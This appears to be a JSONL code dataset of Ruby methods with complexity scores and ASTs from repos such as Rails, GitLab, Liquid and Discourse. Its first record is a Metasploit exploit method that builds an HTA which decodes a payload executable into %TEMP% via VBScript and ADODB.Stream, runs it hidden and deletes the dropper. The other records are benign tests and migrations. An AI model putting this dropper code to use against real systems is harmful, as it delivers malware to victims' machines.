{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb","start_line":99,"raw_source":"def build_hta(cli)\n    var_shellobj\t= rand_text_alpha(rand(5) + 5);\n    var_fsobj\t= rand_text_alpha(rand(5) + 5);\n    var_fsobj_file\t= rand_text_alpha(rand(5) + 5);\n    var_vbsname\t= rand_text_alpha(rand(5) + 5);\n    var_writedir\t= rand_text_alpha(rand(5) + 5);\n\n    var_origLoc\t= rand_text_alpha(rand(5) + 5);\n    var_byteArray\t= rand_text_alpha(rand(5) + 5);\n    var_writestream\t= rand_text_alpha(rand(5) + 5);\n    var_strmConv\t= rand_text_alpha(rand(5) + 5);\n\n    p = regenerate_payload(cli);\n    exe = generate_payload_exe({ :code => p.encoded })\n\n    # Doing in this way to bypass the ADODB.Stream restrictions on JS,\n    # even when executing it as an \"HTA\" application\n    # The encoding code has been stolen from ie_unsafe_scripting.rb\n    print_status(\"Encoding payload into vbs/javascript/hta...\");\n\n    # Build the content that will end up in the .vbs file\n    vbs_content\t= Rex::Text.to_hex(%Q|\nDim #{var_origLoc}, s, #{var_byteArray}\n#{var_origLoc} = SetLocale(1033)\n|)\n    # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)\n    # for conversion with ADODB.Stream\n    vbs_ary = []\n    # The output of this loop needs to be as small as possible since it\n    # gets repeated for every byte of the executable, ballooning it by a\n    # factor of about 80k (the current size of the exe template).  In its\n    # current form, it's down to about 4MB on the wire\n    exe.each_byte do |b|\n      vbs_ary << Rex::Text.to_hex(\"s=s&Chr(#{(\"%d\" % b)})\\n\")\n    end\n    vbs_content << vbs_ary.join(\"\")\n\n    # Continue with the rest of the vbs file;\n    # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent\n    # Then use ADODB.Stream again to write the binary to file.\n    # print_status(\"Finishing vbs...\");\n    vbs_content << Rex::Text.to_hex(%Q|\nDim #{var_strmConv}, #{var_writedir}, #{var_writestream}\n                    #{var_writedir} = WScript.CreateObject(\"WScript.Shell\").ExpandEnvironmentStrings(\"%TEMP%\") & \"\\\\#{@var_exename}\"\n\nSet #{var_strmConv} = CreateObject(\"ADODB.Stream\")\n\n#{var_strmConv}.Type = 2\n#{var_strmConv}.Charset = \"x-ansi\"\n#{var_strmConv}.Open\n#{var_strmConv}.WriteText s, 0\n#{var_strmConv}.Position = 0\n#{var_strmConv}.Type = 1\n#{var_strmConv}.SaveToFile #{var_writedir}, 2\n\nSetLocale(#{var_origLoc})|)\n\n    hta = <<-EOS\n      <script>\n      var #{var_shellobj} = new ActiveXObject(\"WScript.Shell\");\n      var #{var_fsobj}    = new ActiveXObject(\"Scripting.FileSystemObject\");\n      var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings(\"%TEMP%\");\n      var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + \"\\\\\\\\\" + \"#{var_vbsname}.vbs\",2,true);\n\n      #{var_fsobj_file}.Write(unescape(\"#{vbs_content}\"));\n      #{var_fsobj_file}.Close();\n\n      #{var_shellobj}.run(\"wscript.exe \" + #{var_writedir} + \"\\\\\\\\\" + \"#{var_vbsname}.vbs\", 1, true);\n      #{var_shellobj}.run(#{var_writedir} + \"\\\\\\\\\" + \"#{@var_exename}\", 0, false);\n      #{var_fsobj}.DeleteFile(#{var_writedir} + \"\\\\\\\\\" + \"#{var_vbsname}.vbs\");\n      window.close();\n      </script>\n    EOS\n\n    return hta\n  end","complexity_score":68.65,"ast_json":"{\"type\":\"def\",\"children\":[\"build_hta\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var_shellobj\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_fsobj\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_fsobj_file\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_vbsname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_writedir\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_origLoc\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_byteArray\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_writestream\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_strmConv\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Encoding payload into vbs/javascript/hta...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vbs_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Dim \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_origLoc\"]}]},{\"type\":\"str\",\"children\":[\", s, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_byteArray\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_origLoc\"]}]},{\"type\":\"str\",\"children\":[\" = SetLocale(1033)\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vbs_ary\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]},\"each_byte\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_ary\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"s=s&Chr(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%d\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_content\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_ary\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_content\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Dim \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writestream\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\" = WScript.CreateObject(\\\"WScript.Shell\\\").ExpandEnvironmentStrings(\\\"%TEMP%\\\") & \\\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_exename\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Set \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\" = CreateObject(\\\"ADODB.Stream\\\")\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\".Type = 2\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\".Charset = \\\"x-ansi\\\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\".Open\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\".WriteText s, 0\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\".Position = 0\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\".Type = 1\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_strmConv\"]}]},{\"type\":\"str\",\"children\":[\".SaveToFile \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\", 2\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"SetLocale(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_origLoc\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hta\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      <script>\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellobj\"]}]},{\"type\":\"str\",\"children\":[\" = new ActiveXObject(\\\"WScript.Shell\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fsobj\"]}]},{\"type\":\"str\",\"children\":[\"    = new ActiveXObject(\\\"Scripting.FileSystemObject\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellobj\"]}]},{\"type\":\"str\",\"children\":[\".ExpandEnvironmentStrings(\\\"%TEMP%\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fsobj_file\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fsobj\"]}]},{\"type\":\"str\",\"children\":[\".OpenTextFile(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\" + \\\"\\\\\\\\\\\" + \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_vbsname\"]}]},{\"type\":\"str\",\"children\":[\".vbs\\\",2,true);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fsobj_file\"]}]},{\"type\":\"str\",\"children\":[\".Write(unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_content\"]}]},{\"type\":\"str\",\"children\":[\"\\\"));\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fsobj_file\"]}]},{\"type\":\"str\",\"children\":[\".Close();\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellobj\"]}]},{\"type\":\"str\",\"children\":[\".run(\\\"wscript.exe \\\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\" + \\\"\\\\\\\\\\\" + \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_vbsname\"]}]},{\"type\":\"str\",\"children\":[\".vbs\\\", 1, true);\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellobj\"]}]},{\"type\":\"str\",\"children\":[\".run(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\" + \\\"\\\\\\\\\\\" + \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_exename\"]}]},{\"type\":\"str\",\"children\":[\"\\\", 0, false);\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fsobj\"]}]},{\"type\":\"str\",\"children\":[\".DeleteFile(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_writedir\"]}]},{\"type\":\"str\",\"children\":[\" + \\\"\\\\\\\\\\\" + \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_vbsname\"]}]},{\"type\":\"str\",\"children\":[\".vbs\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      window.close();\\n\"]},{\"type\":\"str\",\"children\":[\"      </script>\\n\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hta\"]}]}]}]}","id":"924b5d53-946c-4095-918d-d0c36edc8fc7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/string_ext_test.rb","start_line":198,"raw_source":"def test_string_parameterized_normal_preserve_case\n    StringToParameterizedPreserveCase.each do |normal, slugged|\n      assert_equal(slugged, normal.parameterize(preserve_case: true))\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_string_parameterized_normal_preserve_case\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringToParameterizedPreserveCase\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"normal\"]},{\"type\":\"arg\",\"children\":[\"slugged\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"slugged\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normal\"]},\"parameterize\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preserve_case\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"a5555d4a-bba7-4c0a-a1a0-a875ef5bc9ce"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/method_call_with_args_parentheses/omit_parentheses.rb","start_line":212,"raw_source":"def logical_operator?(node)\n            node.operator_keyword? && node.logical_operator?\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"logical_operator?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"operator_keyword?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"logical_operator?\"]}]}]}","id":"bf73cee1-cb58-4d7c-bb10-ea7149ea6487"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/enterprise_tokens.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.text :encoded_token\n\n      t.timestamps precision: nil\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"encoded_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"aea69e98-f2b7-4d2f-adaf-69d737c47be0"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":1064,"raw_source":"def test_where_with_value\n    array = [\n      { \"handle\" => \"alpha\", \"ok\" => true },\n      { \"handle\" => \"beta\", \"ok\" => false },\n      { \"handle\" => \"gamma\", \"ok\" => false },\n      { \"handle\" => \"delta\", \"ok\" => true },\n    ]\n\n    template = \"{{ array | where: 'ok', true | map: 'handle' | join: ' ' }}\"\n    expected_output = \"alpha delta\"\n\n    assert_template_result(expected_output, template, { \"array\" => array })\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_with_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"array\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"alpha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"beta\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"gamma\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"delta\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"str\",\"children\":[\"{{ array | where: 'ok', true | map: 'handle' | join: ' ' }}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_output\",{\"type\":\"str\",\"children\":[\"alpha delta\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected_output\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"array\"]},{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}]}]}]}","id":"f3906c80-1e46-4490-8926-9d831df7feb4"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20130723212758_rename_admin_log.rb","start_line":9,"raw_source":"def down\n    rename_table :staff_action_logs, :admin_logs\n    rename_column :admin_logs, :staff_user_id, :admin_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_table\",{\"type\":\"sym\",\"children\":[\"staff_action_logs\"]},{\"type\":\"sym\",\"children\":[\"admin_logs\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"admin_logs\"]},{\"type\":\"sym\",\"children\":[\"staff_user_id\"]},{\"type\":\"sym\",\"children\":[\"admin_id\"]}]}]}]}","id":"350cfee6-70c5-4f77-bc34-17166782a09f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/git/branch_hooks_service_spec.rb","start_line":229,"raw_source":"def clears_cache(extended: [])\n      expect(service).to receive(:invalidated_file_types).and_return(extended)\n\n      if extended.present?\n        expect(ProjectCacheWorker)\n          .to receive(:perform_async)\n          .with(project.id, extended, [], false)\n      end\n\n      service.execute\n    end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"clears_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"extended\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"service\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"invalidated_file_types\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"extended\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extended\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[null,\"ProjectCacheWorker\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"perform_async\"]}]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"extended\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"execute\"]}]}]}","id":"61a128f8-a65d-4874-9517-0f90418d5c49"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/output_test.rb","start_line":85,"raw_source":"def test_multiple_variable_piping_with_args\n    text     = %! {{ car.gm | add_smiley : ':-(' | add_smiley : ':-('}} !\n    expected = %| bad :-( :-( |\n\n    assert_equal(expected, Template.parse(text).render!(@assigns, filters: [FunnyFilter]))\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_variable_piping_with_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\" {{ car.gm | add_smiley : ':-(' | add_smiley : ':-('}} \"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\" bad :-( :-( \"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},\"render!\",{\"type\":\"ivar\",\"children\":[\"@assigns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FunnyFilter\"]}]}]}]}]}]}]}]}","id":"6f7a94a1-e252-46ec-9750-312550866e33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/query_limiting/middleware.rb","start_line":15,"raw_source":"def call(env)\n        return @app.call(env) unless ::Gitlab::QueryLimiting.enabled?\n\n        transaction, retval = ::Gitlab::QueryLimiting::Transaction.run do\n          @app.call(env)\n        end\n\n        transaction.action = action_name(env)\n        transaction.act_upon_results\n\n        retval\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"QueryLimiting\"]},\"enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transaction\"]},{\"type\":\"lvasgn\",\"children\":[\"retval\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"QueryLimiting\"]},\"Transaction\"]},\"run\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"action=\",{\"type\":\"send\",\"children\":[null,\"action_name\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"act_upon_results\"]},{\"type\":\"lvar\",\"children\":[\"retval\"]}]}]}","id":"61758183-ef58-4acc-991a-0db5444f82c2"}
